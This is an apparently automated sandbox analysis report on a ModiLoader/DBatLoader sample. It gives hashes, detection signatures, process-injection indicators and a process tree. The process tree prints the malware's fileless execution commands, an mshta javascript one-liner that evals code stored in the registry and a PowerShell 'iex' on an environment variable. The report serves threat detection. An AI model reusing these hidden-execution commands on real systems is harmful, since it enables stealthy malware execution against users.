Analysis
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max time kernel
147s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
08-05-2024 00:08
Static task
static1
Behavioral task
behavioral1
Sample
2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe
Resource
win10v2004-20240226-en
General
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Target
2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe
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Size
280KB
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MD5
2255a6d2acb13100fa8a3c5f41c18e6a
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SHA1
90144fa9929ee5a60804f55f8728366f270ee24a
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SHA256
a55eceaf61aec51a64be7f8b9b2db0d7309b197dd9811378a619185b8887e25e
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SHA512
77a1a43a50a5597f3d9da7a5cde063166214cdd30e1124dea7824c7241790984844d669a4fa2e6bbb3bd0947f9dc25ac0195ac1d65259d4f3d40f1d5009df540
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SSDEEP
3072:M6+41Rx4dmFrSvLWG88MOE+cjqr3au5llnt6pCO4d+Lk24SBXpjihtly8rj3EY0Q:xVmLW/8MCp5llt6wFd5oPji7r5yTh34B
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 116 1956 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/4708-5-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/4708-4-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/4708-2-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/4708-8-0x0000000000A60000-0x0000000000B36000-memory.dmp modiloader_stage2 behavioral2/memory/4708-10-0x0000000000A60000-0x0000000000B36000-memory.dmp modiloader_stage2 behavioral2/memory/4708-9-0x0000000000A60000-0x0000000000B36000-memory.dmp modiloader_stage2 behavioral2/memory/4708-7-0x0000000000A60000-0x0000000000B36000-memory.dmp modiloader_stage2 behavioral2/memory/4708-6-0x0000000000A60000-0x0000000000B36000-memory.dmp modiloader_stage2 behavioral2/memory/4708-11-0x0000000000A60000-0x0000000000B36000-memory.dmp modiloader_stage2 behavioral2/memory/4708-12-0x0000000000A60000-0x0000000000B36000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exedescription pid process target process PID 2384 set thread context of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 804 powershell.exe 804 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 804 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exepid process 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exemshta.exedescription pid process target process PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 2384 wrote to memory of 4708 2384 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe 2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe PID 116 wrote to memory of 804 116 mshta.exe powershell.exe PID 116 wrote to memory of 804 116 mshta.exe powershell.exe PID 116 wrote to memory of 804 116 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Users\Admin\AppData\Local\Temp\2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe"2⤵PID:4708
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:ie9ROFH="MZmmo87";e2E7=new%20ActiveXObject("WScript.Shell");f4Afp="E";wh7im7=e2E7.RegRead("HKLM\\software\\Wow6432Node\\TsKfzBlpfX\\sJd7ke");ZX5iHe="MjLUmqKj";eval(wh7im7);O9rFdG6="B3AArkQF";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:116 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zoaiio2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:804
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4076 --field-trial-handle=2236,i,5367110156796017614,12594004256180761011,262144 --variations-seed-version /prefetch:81⤵PID:3900
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82